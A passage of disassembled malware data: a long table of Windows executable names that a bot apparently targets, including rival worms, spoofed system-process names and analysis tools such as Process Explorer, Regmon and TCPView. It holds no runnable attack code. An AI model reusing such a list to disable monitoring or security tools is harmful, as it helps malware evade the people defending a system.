DATA XREF: .text:00448510o aTcpshell_exe db 'TCPSHELL.EXE',0 ; DATA XREF: .text:00448508o align 4 aXssh_exe db 'XSSH.EXE',0 ; DATA XREF: .text:00448504o align 4 aIcmd_exe db 'ICMD.EXE',0 ; DATA XREF: .text:00448500o ; .text:00448668o align 10h aFtpit_exe db 'FTPIT.EXE',0 ; DATA XREF: .text:004484FCo align 4 aNaab_exe db 'NAAB.EXE',0 ; DATA XREF: .text:004484F8o align 4 aPusu_exe db 'PUSU.EXE',0 ; DATA XREF: .text:004484F4o align 4 aTbar_exe db 'TBAR.EXE',0 ; DATA XREF: .text:004484F0o align 10h aArabian_exe db 'ARABIAN.EXE',0 ; DATA XREF: .text:004484ECo aArabz_exe db 'ARABZ.EXE',0 ; DATA XREF: .text:004484E8o align 4 aDgjdjg_exe db 'DGJDJG.EXE',0 ; DATA XREF: .text:004484E4o align 4 aOooo_exe db 'OOOO.EXE',0 ; DATA XREF: .text:004484E0o align 10h aOoooo_exe db 'OOOOO.EXE',0 ; DATA XREF: .text:004484DCo align 4 aOp_exe db 'OP.EXE',0 ; DATA XREF: .text:004484D8o align 4 a2pac_exe db '2PAC.EXE',0 ; DATA XREF: .text:004484D4o align 10h aLogix_exe db 'LOGIX.EXE',0 ; DATA XREF: .text:004484D0o align 4 aCash7oc_jpg db 'CASH7OC.JPG',0 ; DATA XREF: .text:004484CCo a0cash_exe db '0CASH.EXE',0 ; DATA XREF: .text:004484C8o align 4 aCash_exe db 'CASH.EXE',0 ; DATA XREF: .text:004484C4o align 10h aAoautoupdatena db 'AOAUTOUPDATENAV.EXE',0 ; DATA XREF: .text:004484C0o aXdcc_install_e db 'XDCC_INSTALL.EXEDD.EXE',0 ; DATA XREF: .text:004484BCo align 4 aNetworkactivpi db 'NETWORKACTIVPIAFCTMV1.5.EXE',0 ; DATA XREF: .text:004484B8o aPexplorer_exe db 'PEXPLORER.EXE',0 ; DATA XREF: .text:004484B4o align 4 aProcdump32_exe db 'PROCDUMP32.EXE',0 ; DATA XREF: .text:004484B0o align 4 aProcdump_exe db 'PROCDUMP.EXE',0 ; DATA XREF: .text:004484ACo align 4 aTlist_exe db 'TLIST.EXE',0 ; DATA XREF: .text:004484A8o align 4 aFport_exe db 'FPORT.EXE',0 ; DATA XREF: .text:004484A4o align 10h aFilemon_exe db 'FILEMON.EXE',0 ; DATA XREF: .text:004484A0o aPortmon_exe db 'PORTMON.EXE',0 ; DATA XREF: .text:0044849Co aProcexp_exe db 'PROCEXP.EXE',0 ; DATA XREF: .text:00448498o aRegmon_exe db 'REGMON.EXE',0 ; DATA XREF: .text:00448494o align 10h aWinsniff_exe db 'WINSNIFF.EXE',0 ; DATA XREF: .text:00448490o align 10h aHostmon_exe db 'HOSTMON.EXE',0 ; DATA XREF: .text:0044848Co aSharemon_exe db 'SHAREMON.EXE',0 ; DATA XREF: .text:00448488o align 4 aTcpstats_exe db 'TCPSTATS.EXE',0 ; DATA XREF: .text:00448484o align 4 aTcpstat_exe db 'TCPSTAT.EXE',0 ; DATA XREF: .text:00448480o aTcpmon_exe db 'TCPMON.EXE',0 ; DATA XREF: .text:0044847Co align 4 aTcpdump_exe db 'TCPDUMP.EXE',0 ; DATA XREF: .text:00448478o aTcpviewpro_exe db 'TCPVIEWPRO.EXE',0 ; DATA XREF: .text:00448474o align 10h aTcpview_exe db 'TCPVIEW.EXE',0 ; DATA XREF: .text:00448470o aZz_exe db 'ZZ.EXE',0 ; DATA XREF: .text:0044846Co align 4 aDbot_exe db 'DBOT.EXE',0 ; DATA XREF: .text:00448468o align 10h aHbot_exe db 'HBOT.EXE',0 ; DATA XREF: .text:00448464o align 4 aA_bat db 'A.BAT',0 ; DATA XREF: .text:00448460o align 4 aAg_exe db 'AG.EXE',0 ; DATA XREF: .text:0044845Co ; .text:0044872Co align 4 aRundil_exe db 'RUNDIL.EXE',0 ; DATA XREF: .text:00448454o align 4 aWinpooch_exe db 'WINPOOCH.EXE',0 ; DATA XREF: .text:00448450o align 4 aWinmpat_exe db 'WINMPAT.EXE',0 ; DATA XREF: .text:00448448o aMsssmsngr6417_ db 'MSSSMSNGR6417.EXE',0 ; DATA XREF: .text:00448444o align 4 aWaucult_exe db 'WAUCULT.EXE',0 ; DATA XREF: .text:00448440o aJswtss_exe db 'JSWTSS.EXE',0 ; DATA XREF: .text:0044843Co align 10h aSvcvhost_exe db 'SVCVHOST.EXE',0 ; DATA XREF: .text:00448438o align 10h aRp5_exe db 'RP5.EXE',0 ; DATA XREF: .text:00448434o aBsdmpldrvr642_ db 'BSDMPLDRVR642.EXE',0 ; DATA XREF: .text:00448430o align 4 aMyhost_exe db 'MYHOST.EXE',0 ; DATA XREF: .text:0044842Co align 4 aMswins_exe db 'MSWINS.EXE',0 ; DATA XREF: .text:00448428o align 4 aWindowsvista_e db 'WINDOWSVISTA.EXE',0 ; DATA XREF: .text:00448424o align 4 aQkkku_exe db 'QKKKU.EXE',0 ; DATA XREF: .text:00448420o align 4 aMessengerr_exe db 'MESSENGERR.EXE',0 ; DATA XREF: .text:0044841Co align 4 aEraseme_exe db 'ERASEME.EXE',0 ; DATA XREF: .text:00448418o aTskmagr_exe db 'TSKMAGR.EXE',0 ; DATA XREF: .text:00448414o aCmh_exe db 'CMH.EXE',0 ; DATA XREF: .text:00448410o aSmsc_exe db 'SMSC.EXE',0 ; DATA XREF: .text:0044840Co align 10h aQtask_exe db 'QTASK.EXE',0 ; DATA XREF: .text:00448408o align 4 aWuaumqr1_exe db 'WUAUMQR1.EXE',0 ; DATA XREF: .text:00448404o align 4 aWinlogin_exe db 'WINLOGIN.EXE',0 ; DATA XREF: .text:00448400o align 4 aInternet_exe db 'INTERNET.EXE',0 ; DATA XREF: .text:004483FCo align 4 aCtfmom_exe db 'CTFMOM.EXE',0 ; DATA XREF: .text:004483F4o align 4 aWindowantasdiv db 'WINDOWANTASDIVRI.EXE',0 ; DATA XREF: .text:004483F0o align 10h aSchost_exe db 'SCHOST.EXE',0 ; DATA XREF: .text:004483ECo align 4 aNewbot_exe db 'NEWBOT.EXE',0 ; DATA XREF: .text:004483E8o align 4 aIi_exe db 'II.EXE',0 ; DATA XREF: .text:004483E4o align 10h aMssdev_exe db 'MSSDEV.EXE',0 ; DATA XREF: .text:004483E0o align 4 aIshost_exe db 'ISHOST.EXE',0 ; DATA XREF: .text:004483DCo align 4 aIsmini_exe db 'ISMINI.EXE',0 ; DATA XREF: .text:004483D8o align 4 aNl210_bat db 'NL210.BAT',0 align 10h aWinupdtsrv_exe db 'WINUPDTSRV.EXE',0 align 10h aMsn_update_exe db 'MSN_UPDATE.EXE',0 align 10h aSysmonxp_exe db 'SYSMONXP.EXE',0 align 10h aSvcdata_exe db 'SVCDATA.EXE',0 aReg32_exe db 'REG32.EXE',0 align 4 aDll32_exe db 'DLL32.EXE',0 align 4 aIexplores_exe db 'IEXPLORES.EXE',0 align 4 aSusp_exe db 'SUSP.EXE',0 align 10h aSpool_exe db 'SPOOL.EXE',0 align 4 a568_exe db '568.EXE',0 aCcupdate_exe db 'CCUPDATE.EXE',0 align 4 aLoadadv642_exe db 'LOADADV642.EXE',0 align 4 aSsc_exe db 'SSC.EXE',0 aVcmon_exe db 'VCMON.EXE',0 align 4 aMstskmgr_exe db 'MSTSKMGR.EXE',0 align 4 aServlces_exe db 'SERVLCES.EXE',0 align 4 aServlce_exe db 'SERVLCE.EXE',0 aMslaugh_exe db 'MSLAUGH.EXE',0 aMsnmgr12_exe db 'MSNMGR12.EXE',0 align 10h aWinform32_exe db 'WINFORM32.EXE',0 align 10h aDllx32_exe db 'DLLX32.EXE',0 align 4 aRp_exe db 'RP.EXE',0 align 4 aGecko_exe db 'GECKO.EXE',0 align 10h aReptile_exe db 'REPTILE.EXE',0 aLrsys_exe db 'LRSYS.EXE',0 align 4 aSrshost_exe db 'SRSHOST.EXE',0 aMsdos_exe db 'MSDOS.EXE',0 align 10h aWumgre_exe db 'WUMGRE.EXE',0 align 4 aWumgr_exe db 'WUMGR.EXE',0 align 4 aD3dupdate_exe db 'D3DUPDATE.EXE',0 align 4 aI11r54n4_exe db 'I11R54N4.EXE',0 align 4 aBbeagle32_exe db 'BBEAGLE32.EXE',0 align 4 aBbeagle2_exe db 'BBEAGLE2.EXE',0 align 4 aBbeagle_exe db 'BBEAGLE.EXE',0 ; DATA XREF: .text:00448340o aBeagle_exe db 'BEAGLE.EXE',0 ; DATA XREF: .text:0044833Co align 10h aSsate_exe db 'SSATE.EXE',0 ; DATA XREF: .text:00448338o align 4 aVhost_exe db 'VHOST.EXE',0 ; DATA XREF: .text:00448334o align 4 aIeserver_exe db 'IESERVER.EXE',0 ; DATA XREF: .text:00448330o align 4 aDsrss_exe db 'DSRSS.EXE',0 ; DATA XREF: .text:0044832Co align 4 aSvvosts_exe db 'SVVOSTS.EXE',0 ; DATA XREF: .text:00448328o aUpdat_exe db 'UPDAT.EXE',0 ; DATA XREF: .text:00448324o align 4 aServicesmsi_ex db 'SERVICESMSI.EXE',0 ; DATA XREF: .text:00448320o aSpoolmgr_exe db 'SPOOLMGR.EXE',0 ; DATA XREF: .text:0044831Co align 4 aWinhelp_exe_0 db 'WINHELP.EXE',0 ; DATA XREF: .text:00448318o ; .text:00448770o aNttdll_exe db 'NTTDLL.EXE',0 ; DATA XREF: .text:00448314o align 4 aIrun4_exe db 'IRUN4.EXE',0 ; DATA XREF: .text:00448310o align 10h aSys_xp_exe db 'SYS_XP.EXE',0 ; DATA XREF: .text:0044830Co align 4 aSvcost_exe db 'SVCOST.EXE',0 ; DATA XREF: .text:00448308o ; .text:00448554o align 4 aWinusb32_exe db 'WINUSB32.EXE',0 ; DATA XREF: .text:00448304o align 4 aWinusb_exe db 'WINUSB.EXE',0 ; DATA XREF: .text:00448300o align 4 aWinspooler_exe db 'WINSPOOLER.EXE',0 ; DATA XREF: .text:004482FCo align 4 aWinsock_exe db 'WINSOCK.EXE',0 ; DATA XREF: .text:004482F8o aIpcmgr_exe db 'IPCMGR.EXE',0 ; DATA XREF: .text:004482F4o align 4 aWuamgrd3_exe db 'WUAMGRD3.EXE',0 ; DATA XREF: .text:004482F0o align 4 aWuamgrd_exe db 'WUAMGRD.EXE',0 ; DATA XREF: .text:004482ECo ; .text:00448534o aWuamgr_exe db 'WUAMGR.EXE',0 ; DATA XREF: .text:004482E8o align 4 aLansas_exe db 'LANSAS.EXE',0 ; DATA XREF: .text:004482E4o align 10h aXml32_exe db 'XML32.EXE',0 ; DATA XREF: .text:004482E0o align 4 aXml_exe db 'XML.EXE',0 ; DATA XREF: .text:004482DCo aWinz_exe db 'WINZ.EXE',0 ; DATA XREF: .text:004482D8o align 10h aWinsys_exe db 'WINSYS.EXE',0 ; DATA XREF: .text:004482D4o align 4 aWgavm_exe db 'WGAVM.EXE',0 align 4 aStdrun3_exe db 'STDRUN3.EXE',0 aTaskdir_exe db 'TASKDIR.EXE',0 aPmsngr_exe db 'PMSNGR.EXE',0 align 4 aTaskmsg_exe db 'TASKMSG.EXE',0 aWdfmgr32_exe db 'WDFMGR32.EXE',0 align 4 aNotaped_exe db 'NOTAPED.EXE',0 aCsrs_exe db 'CSRS.EXE',0 align 10h aWincomm_exe db 'WINCOMM.EXE',0 aWinocx_exe db 'WINOCX.EXE',0 align 4 aWinlolx_exe db 'WINLOLX.EXE',0 aJavanet_exe db 'JAVANET.EXE',0 aMaxd641_exe db 'MAXD641.EXE',0 aMs_exe db 'MS.EXE',0 ; DATA XREF: .text:00448294o align 4 aService_exe db 'SERVICE.EXE',0 ; DATA XREF: .text:00448290o aMsnlive_exe db 'MSNLIVE.EXE',0 ; DATA XREF: .text:0044828Co aWip_exe db 'WIP.EXE',0 ; DATA XREF: .text:00448288o a666_exe db '666.EXE',0 ; DATA XREF: .text:00448284o aMybot_exe db 'MYBOT.EXE',0 ; DATA XREF: .text:00448280o align 4 aMyt0b_exe db 'MYT0B.EXE',0 ; DATA XREF: .text:0044827Co align 4 aHellmsn_exe db 'HELLMSN.EXE',0 ; DATA XREF: .text:00448278o aFunny_pic_scr db 'FUNNY_PIC.SCR',0 ; DATA XREF: .text:00448274o align 10h aMsgm_exe db 'MSGM.EXE',0 ; DATA XREF: .text:00448270o align 4 aMsgmr_exe db 'MSGMR.EXE',0 ; DATA XREF: .text:0044826Co align 4 aWinpadg_exe db 'WINPADG.EXE',0 ; DATA XREF: .text:00448268o aHide_exe db 'HIDE.EXE',0 ; DATA XREF: .text:00448264o ; .text:0044851Co ... align 10h aHidden_exe db 'HIDDEN.EXE',0 ; DATA XREF: .text:00448260o ; .text:00448518o align 4 aHidden32_exe db 'HIDDEN32.EXE',0 ; DATA XREF: .text:0044825Co ; .text:0044850Co ... align 4 aHiddenrun_exe db 'HIDDENRUN.EXE',0 ; DATA XREF: .text:00448258o align 4 aWindowsp_exe db 'WINDOWSP.EXE',0 ; DATA XREF: .text:00448254o align 4 aWinsystem_exe db 'WINSYSTEM.EXE',0 ; DATA XREF: .text:0044824Co align 4 aSystem32_exe db 'SYSTEM32.EXE',0 ; DATA XREF: .text:00448248o ; .text:0044890Co align 4 aSystem_exe db 'SYSTEM.EXE',0 ; DATA XREF: .text:00448244o ; .text:00448908o align 4 aWindow_exe db 'WINDOW.EXE',0 ; DATA XREF: .text:0044823Co align 4 aWindows_exe db 'WINDOWS.EXE',0 ; DATA XREF: .text:00448238o aSaveuninst_exe db 'SAVEUNINST.EXE',0 ; DATA XREF: .text:00448234o align 10h aWups_exe db 'WUPS.EXE',0 ; DATA XREF: .text:00448230o align 4 aSvcshoter_exe db 'SVCSHOTER.EXE',0 ; DATA XREF: .text:0044822Co align 4 aWinmap_exe db 'WINMAP.EXE',0 ; DATA XREF: .text:00448228o align 4 aMydocs_exe db 'MYDOCS.EXE',0 ; DATA XREF: .text:00448224o align 4 aWinb_exe db 'WINB.EXE',0 ; DATA XREF: .text:00448220o align 10h aWinnamps_exe db 'WINNAMPS.EXE',0 ; DATA XREF: .text:0044821Co align 10h aCmrss_dll_exe db 'CMRSS.DLL.EXE',0 ; DATA XREF: .text:00448218o align 10h aWin_exe db 'WIN.EXE',0 ; DATA XREF: .text:00448214o aWin32_exe db 'WIN32.EXE',0 ; DATA XREF: .text:00448210o align 4 aWinis_exe db 'WINIS.EXE',0 ; DATA XREF: .text:0044820Co align 10h aMsnmsg_exe db 'MSNMSG.EXE',0 ; DATA XREF: .text:00448208o align 4 aMsnmsgs_exe db 'MSNMSGS.EXE',0 ; DATA XREF: .text:00448204o aXpfirewall_exe db 'XPFIREWALL.EXE',0 ; DATA XREF: .text:00448200o align 4 aWfdmgr_exe db 'WFDMGR.EXE',0 ; DATA XREF: .text:004481FCo align 4 aTaskm0n_exe db 'TASKM0N.EXE',0 ; DATA XREF: .text:004481F8o aTaskgmr_exe db 'TASKGMR.EXE',0 ; DATA XREF: .text:004481F4o aWincfg32_exe db 'WINCFG32.EXE',0 ; DATA XREF: .text:004481F0o align 4 aSyscfg32_exe db 'SYSCFG32.EXE',0 ; DATA XREF: .text:004481ECo align 4 aSyscfg16_exe db 'SYSCFG16.EXE',0 ; DATA XREF: .text:004481E8o align 4 aSystra_exe db 'SYSTRA.EXE',0 ; DATA XREF: .text:004481E4o align 4 aRpc32_exe db 'RPC32.EXE',0 ; DATA XREF: .text:004481E0o align 4 aMsmgrxp_exe db 'MSMGRXP.EXE',0 ; DATA XREF: .text:004481DCo aSuhoy_exe db 'SUHOY.EXE',0 ; DATA XREF: .text:004481D4o align 4 aPicx_exe db 'PICX.EXE',0 ; DATA XREF: .text:004481D0o align 4 aMathchk_exe db 'MATHCHK.EXE',0 ; DATA XREF: .text:004481CCo aRundll16_exe db 'RUNDLL16.EXE',0 ; DATA XREF: .text:004481C8o align 4 aMsserrv32_exe db 'MSSERRV32.EXE',0 ; DATA XREF: .text:004481C0o align 4 aPopwin_exe db 'POPWIN.EXE',0 ; DATA XREF: .text:004481BCo align 10h aRundii32_exe db 'RUNDII32.EXE',0 ; DATA XREF: .text:004481B8o align 10h aCtxad_exe db 'CTXAD.EXE',0 ; DATA XREF: .text:004481B4o align 4 aMshtml3_exe db 'MSHTML3.EXE',0 ; DATA XREF: .text:004481B0o aMshtml2_exe db 'MSHTML2.EXE',0 ; DATA XREF: .text:004481ACo aMshtml1_exe db 'MSHTML1.EXE',0 ; DATA XREF: .text:004481A8o aMshtml_exe db 'MSHTML.EXE',0 ; DATA XREF: .text:004481A4o align 4 aNdrv_exe db 'NDRV.EXE',0 ; DATA XREF: .text:004481A0o align 4 aTskmgr_exe db 'TSKMGR.EXE',0 ; DATA XREF: .text:0044819Co align 4 aPapersrv_exe db 'PAPERSRV.EXE',0 ; DATA XREF: .text:00448198o align 4 aIe7_exe db 'IE7.EXE',0 ; DATA XREF: .text:00448194o aIe6_exe db 'IE6.EXE',0 ; DATA XREF: .text:00448190o aTaskmngr32_exe db 'TASKMNGR32.EXE',0 ; DATA XREF: .text:0044818Co align 4 aW32gen_exe db 'W32GEN.EXE',0 ; DATA XREF: .text:00448188o align 10h aRundll_exe db 'RUNDLL.EXE',0 ; DATA XREF: .text:00448184o ; .text:00448458o align 4 aBot_exe db 'BOT.EXE',0 ; DATA XREF: .text:00448180o aCrxbot_exe db 'CRXBOT.EXE',0 ; DATA XREF: .text:0044817Co align 10h aDns32_exerxbot db 'DNS32.EXERXBOT.EXE',0 ; DATA XREF: .text:00448178o align 4 aDnssvc_exe db 'DNSSVC.EXE',0 ; DATA XREF: .text:00448174o align 10h aDnssrv_exe db 'DNSSRV.EXE',0 ; DATA XREF: .text:00448170o align 4 aWin32update_ex db 'WIN32UPDATE.EXE',0 ; DATA XREF: .text:0044816Co aWinsvc_exe db 'WINSVC.EXE',0 ; DATA XREF: .text:00448168o align 4 aScsrc_exe db 'SCSRC.EXE',0 ; DATA XREF: .text:00448164o align 4 aWservices_exe db 'WSERVICES.EXE',0 ; DATA XREF: .text:00448160o align 4 aWservice_exe db 'WSERVICE.EXE',0 ; DATA XREF: .text:0044815Co align 4 aWinime_exe db 'WINIME.EXE',0 ; DATA XREF: .text:00448158o align 10h aLinewsrv_exe db 'LINEWSRV.EXE',0 ; DATA XREF: .text:00448154o align 10h aMicrosoft_exe db 'MICROSOFT.EXE',0 ; DATA XREF: .text:00448150o align 10h aServices32_exe db 'SERVICES32.EXE',0 ; DATA XREF: .text:0044814Co align 10h aWgareg_exe db 'WGAREG.EXE',0 ; DATA XREF: .text:00448148o align 4 aAsn1sys_exe db 'ASN1SYS.EXE',0 ; DATA XREF: .text:00448144o aIiexplorer_exe db 'IIEXPLORER.EXE',0 ; DATA XREF: .text:00448140o align 4 aIiexplore_exe db 'IIEXPLORE.EXE',0 ; DATA XREF: .text:0044813Co align 4 aLsass_32_exe db 'LSASS_32.EXE',0 ; DATA XREF: .text:00448138o align 4 aSssvhost_exe db 'SSSVHOST.EXE',0 ; DATA XREF: .text:00448134o align 4 aKernel32_exe db 'KERNEL32.EXE',0 ; DATA XREF: .text:00448130o align 4 aSpoolvs_exe db 'SPOOLVS.EXE',0 ; DATA XREF: .text:0044812Co aSpoolv_exe db 'SPOOLV.EXE',0 ; DATA XREF: .text:00448128o align 10h aMsnmsgrr_exe db 'MSNMSGRR.EXE',0 ; DATA XREF: .text:00448124o align 10h aMsmmsgr_exe db 'MSMMSGR.EXE',0 ; DATA XREF: .text:00448120o aMsner_exe db 'MSNER.EXE',0 ; DATA XREF: .text:0044811Co align 4 aMsnupdater_exe db 'MSNUPDATER.EXE',0 ; DATA XREF: .text:00448118o align 4 aMsnupdate_exe db 'MSNUPDATE.EXE',0 ; DATA XREF: .text:00448114o align 4 aAlg32_exe db 'ALG32.EXE',0 ; DATA XREF: .text:00448110o align 4 aInstall_sp_exe db 'INSTALL_SP.EXE',0 ; DATA XREF: .text:0044810Co align 4 aTmrservice_exe db 'TMRSERVICE.EXE',0 ; DATA XREF: .text:00448108o align 4 aMsnplus_exe db 'MSNPLUS.EXE',0 ; DATA XREF: .text:00448104o aMsmpls_exe db 'MSMPLS.EXE',0 ; DATA XREF: .text:00448100o align 4 aYesbron_com db 'YESBRON.COM',0 ; DATA XREF: .text:004480FCo aWinlogon32_exe db 'WINLOGON32.EXE',0 ; DATA XREF: .text:004480F8o align 4 aWinl0gin_exe db 'WINL0GIN.EXE',0 ; DATA XREF: .text:004480F4o align 4 aWinl0gon_exe db 'WINL0GON.EXE',0 ; DATA XREF: .text:004480F0o align 4 aAk_exe db 'AK.EXE',0 ; DATA XREF: .text:004480ECo align 10h aAkwid_exe db 'AKWID.EXE',0 ; DATA XREF: .text:004480E8o align 4 aSyser_exe db 'SYSER.EXE',0 ; DATA XREF: .text:004480E4o align 4 aWinupd_exe db 'WINUPD.EXE',0 ; DATA XREF: .text:004480E0o align 4 aSys_exe db 'SYS.EXE',0 ; DATA XREF: .text:004480DCo aWinrpc_exe db 'WINRPC.EXE',0 ; DATA XREF: .text:004480D8o align 4 aLsass32_exe db 'LSASS32.EXE',0 ; DATA XREF: .text:004480D4o aMsdevelop_exe db 'MSDEVELOP.EXE',0 ; DATA XREF: .text:004480D0o align 4 aNetmsn_exe db 'NETMSN.EXE',0 ; DATA XREF: .text:004480CCo align 10h aWinsockx32_exe db 'WINSOCKX32.EXE',0 ; DATA XREF: .text:004480C8o align 10h aSserrvv_exe db 'SSERRVV.EXE',0 ; DATA XREF: .text:004480C4o aWinsys_32_exe db 'WINSYS_32.EXE',0 ; DATA XREF: .text:004480C0o align 4 aSerrv_exe db 'SERRV.EXE',0 ; DATA XREF: .text:004480BCo align 4 aMysvcc_exe db 'MYSVCC.EXE',0 ; DATA XREF: .text:004480B8o align 4 aSpoolss_exe db 'SPOOLSS.EXE',0 ; DATA XREF: .text:004480B4o ; .text:0044856Co aNtsf_exe db 'NTSF.EXE',0 ; DATA XREF: .text:004480B0o ; .text:00448578o align 4 aWks_exe db 'WKS.EXE',0 ; DATA XREF: .text:004480A8o aBingo_exe db 'BINGO.EXE',0 ; DATA XREF: .text:004480A4o align 10h aBingoo_exe db 'BINGOO.EXE',0 align 4 aScrhost_exe db 'SCRHOST.EXE',0 aSvlhost_exe db 'SVLHOST.EXE',0 aWinsini_exe db 'WINSINI.EXE',0 aAaaamon_exe db 'AAAAMON.EXE',0 aDpnwsock_exe db 'DPNWSOCK.EXE',0 ; DATA XREF: .text:0044808Co align 4 aLmhsvc_exe db 'LMHSVC.EXE',0 align 4 aS32evnt1_exe db 'S32EVNT1.EXE',0 align 4 aDmloader_exe db 'DMLOADER.EXE',0 ; DATA XREF: .text:00448080o align 4 aDskquota_exe db 'DSKQUOTA.EXE',0 align 4 aCatsrv_exe db 'CATSRV.EXE',0 align 4 aRasapi32_exe db 'RASAPI32.EXE',0 align 4 aWintemp_exe db 'WINTEMP.EXE',0 aDrives_exe db 'DRIVES.EXE',0 align 4 aIrdvxc_exe db 'IRDVXC.EXE',0 align 4 aCashback_exe db 'CASHBACK.EXE',0 align 4 aMsusb_exe db 'MSUSB.EXE',0 ; DATA XREF: .text:00448060o align 4 aMsupsrv_exe db 'MSUPSRV.EXE',0 ; DATA XREF: .text:0044805Co aMsjava_exe db 'MSJAVA.EXE',0 ; DATA XREF: .text:00448058o align 4 aMsJava_exe db 'MS-JAVA.EXE',0 ; DATA XREF: .text:00448054o aWininet_exe db 'WININET.EXE',0 aWiniogin_exe db 'WINIOGIN.EXE',0 align 4 aMsxml_exe db 'MSXML.EXE',0 align 10h aNetapi1_exe db 'NETAPI[1].EXE',0 align 10h aNetapi32_exe db 'NETAPI32.EXE',0 align 10h aNetapi_exe db 'NETAPI.EXE',0 align 4 aWinrnr_exe db 'WINRNR.EXE',0 align 4 aWallpap1_exe db 'WALLPAP[1].EXE',0 align 4 aWallpap_exe db 'WALLPAP.EXE',0 aWinsysmngr32_e db 'WINSYSMNGR32.EXE',0 align 4 aWinload_exe db 'WINLOAD.EXE',0 aWincmd_exe db 'WINCMD.EXE',0 align 10h aNetlogon_exe db 'NETLOGON.EXE',0 align 10h aExplorer32_exe db 'EXPLORER32.EXE',0 align 10h aDihf_exe db 'DIHF.EXE',0 align 4 aWintask32_exe db 'WINTASK32.EXE',0 ; DATA XREF: .text:00448014o align 4 aWincodecs_exe db 'WINCODECS.EXE',0 align 4 aSxserv101_exe db 'SXSERV101.EXE',0 align 4 aMssecure32_exe db 'MSSECURE32.EXE',0 align 4 aMsexplore_exe db 'MSEXPLORE.EXE',0 align 4 aDllsys64_exe db 'DLLSYS64.EXE',0 align 4 aSvchozt_exe db 'SVCHOZT.EXE',0 aLibsys32_exe db 'LIBSYS32.EXE',0 align 4 aDllmgr64_exe db 'DLLMGR64.EXE',0 align 4 aCrsscs_exe db 'CRSSCS.EXE',0 align 4 aCrsss_exe db 'CRSSS.EXE',0 align 10h aSmsss_exe db 'SMSSS.EXE',0 align 4 aLsasss_exe db 'LSASSS.EXE',0 align 4 aRofl_exe db 'ROFL.EXE',0 align 4 aLol_exe db 'LOL.EXE',0 aRotflz_exe db 'ROTFLZ.EXE',0 align 4 aSvwhost32_exe db 'SVWHOST32.EXE',0 align 4 aIelower2_exe db 'IELOWER2.EXE',0 align 4 aIelower_exe db 'IELOWER.EXE',0 aLower_exe db 'LOWER.EXE',0 align 10h aBl0w_exe db 'BL0W.EXE',0 align 4 aSvch0st_exe db 'SVCH0ST.EXE',0 aWinupdates_exe db 'WINUPDATES.EXE',0 ; DATA XREF: .text:004481D8o align 4 aWkssr_exe db 'WKSSR.EXE',0 align 4 aPerfont_exe db 'PERFONT.EXE',0 aQttask_bat db 'QTTASK.BAT',0 align 4 aMsupdate_exe db 'MSUPDATE.EXE',0 align 4 aMsnxplive_exe db 'MSNXPLIVE.EXE',0 align 4 aSalvage_exe db 'SALVAGE.EXE',0 aFhm_exe db 'FHM.EXE',0 aMscrash_exe db 'MSCRASH.EXE',0 aRecsl_exe db 'RECSL.EXE',0 ; DATA XREF: .text:004483F8o align 4 aBrwconf_exe db 'BRWCONF.EXE',0 aMsserv32_exe db 'MSSERV32.EXE',0 ; DATA XREF: .text:004481C4o align 4 aM2_2_exe db 'M2.2.EXE',0 align 10h aWindir32_exe db 'WINDIR32.EXE',0 align 10h aZango_exe db 'ZANGO.EXE',0 align 4 aRunjava_exe db 'RUNJAVA.EXE',0 aServicent_exe db 'SERVICENT.EXE',0 align 4 aCsvhost_exe db 'CSVHOST.EXE',0 aMs32_exe db 'MS32.EXE',0 align 10h aW32_exe db 'W32.EXE',0 ; DATA XREF: .text:00448240o aZ_exe db 'Z.EXE',0 align 10h aDll64_exe db 'DLL64.EXE',0 align 4 aServ454_exe db 'SERV454.EXE',0 aMsie701_exe db 'MSIE701.EXE',0 aWinrarx_exe db 'WINRARX.EXE',0 ; DATA XREF: .text:00448250o aUpdate32_exe db 'UPDATE32.EXE',0 align 10h aGreen_exe db 'GREEN.EXE',0 align 4 aBling_exe db 'BLING.EXE',0 align 4 aCrssr_exe db 'CRSSR.EXE',0 align 4 aWnl_exe db 'WNL.EXE',0 aOwinssap_exe db 'OWINSSAP.EXE',0 align 4 aSvchost32_exe db 'SVCHOST32.EXE',0 ; DATA XREF: .text:00448548o align 4 aSvchosts_exe db 'SVCHOSTS.EXE',0 ; DATA XREF: .text:00448900o align 4 aRbot_exe db 'RBOT.EXE',0 align 4 aSvhost32_exe db 'SVHOST32.EXE',0 align 4 aSvhostcs32_exe db 'SVHOSTCS32.EXE',0 ; DATA XREF: .text:004480ACo ; .text:0044844Co align 4 aSms_exe db 'SMS.EXE',0 aSeekmo_exe db 'SEEKMO.EXE',0 align 4 aSass_exe db 'SASS.EXE',0 align 4 aShost_exe db 'SHOST.EXE',0 align 4 aSys32_exe db 'SYS32.EXE',0 align 10h aSvcchosst_exe db 'SVCCHOSST.EXE',0 align 10h aBotpacked_exe db 'BOTPACKED.EXE',0 align 10h aExxplorer_exe db 'EXXPLORER.EXE',0 align 10h aIexplore7_exe db 'IEXPLORE7.EXE',0 align 10h aIexplore6_exe db 'IEXPLORE6.EXE',0 align 10h aIexplor_exe db 'IEXPLOR.EXE',0 aPenis32_exe db 'PENIS32.EXE',0 aWorm32_exe db 'WORM32.EXE',0 align 4 aC27d8fefD7ae42 db 'C27D8FEF-D7AE-42C0-82E6-F30598265639.EXE',0 align 10h aScrtkfg_exe db 'SCRTKFG.EXE',0 aMsappview32_ex db 'MSAPPVIEW32.EXE',0 aSavenow_exe db 'savenow.exe',0 aX_exe db 'x.exe',0 align 10h aRas2_exe db 'ras2.exe',0 align 4 aSvhcost_exe db 'svhcost.exe',0 aIpcscan_exe db 'ipcscan.exe',0 aNtdll64_exe db 'ntdll64.exe',0 aMsr_exe db 'msr.exe',0 aWgavm_exe_0 db 'wgavm.exe',0 align 4 aWgareg_exe_0 db 'wgareg.exe',0 align 10h aCmd32_exe db 'cmd32.exe',0 align 4 aKspoold_exe db 'kspoold.exe',0 aHosts_exe db 'hosts.exe',0 align 4 aSvchost32_ex_0 db 'svchost32.exe',0 align 4 aWiniogon_exe_0 db 'winiogon.exe',0 align 4 aIsass_exe_0 db 'isass.exe',0 align 10h a1sass_exe db '1sass.exe',0 align 4 aMsrsys32_exe db 'msrsys32.exe',0 align 4 aSmsc32_exe db 'smsc32.exe',0 align 4 aSysmgr_exe db 'sysmgr.exe',0 align 4 aSpooisv_exe_0 db 'spooisv.exe',0 aFun_exe db 'fun.exe',0 aAlgs_exe db 'algs.exe',0 align 4 aSvhost_exe_0 db 'svhost.exe',0 ; DATA XREF: .text:00447E94o align 10h aKernel32_exe_0 db 'kernel32.exe',0 ; DATA XREF: .text:00447E90o align 10h aMsblast_exe_0 db 'msblast.exe',0 ; DATA XREF: .text:00447E8Co aPenis32_exe_0 db 'penis32.exe',0 ; 